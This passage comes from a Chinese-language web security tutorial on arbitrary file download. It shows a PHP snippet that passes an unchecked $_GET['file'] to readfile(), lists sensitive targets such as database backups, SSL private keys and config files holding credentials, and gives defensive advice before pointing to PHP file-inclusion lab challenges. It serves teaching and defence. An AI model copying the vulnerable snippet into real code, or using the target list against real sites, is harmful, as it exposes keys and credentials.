$file = $_GET['file']; header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); readfile($file);关键区别: ▸ 任意文件读取 → 浏览器显示文件内容(可能因编码/格式导致内容截断或乱码) ▸ 任意文件下载 → 浏览器弹出保存对话框,用户可直接获取原始二进制文件(如
.zip,.pdf,.p12,.sql等)
7.2 高危利用场景
| 文件类型 | 风险说明 |
|---|---|
backup.sql |
直接获取完整数据库备份,包含明文密码哈希和敏感业务数据 |
keystore.jks / server.p12 |
下载SSL私钥文件,可解密HTTPS通信或冒充服务端 |
config.properties |
获取包含数据库凭证、API密钥等敏感信息的配置文件 |
7.3 防御建议
- 禁止用户控制
filename值:使用固定安全文件名(如download.zip),而非basename($_GET['file']) - 采用间接引用机制:使用
?id=123→ 后端查表映射真实路径 - 避免将敏感文件存放在Web可访问目录下(最佳实践:存放于
document_root外)
8.文件包含靶场挑战
尝试做出下方PHPinclude-labs
.....
从8101-8125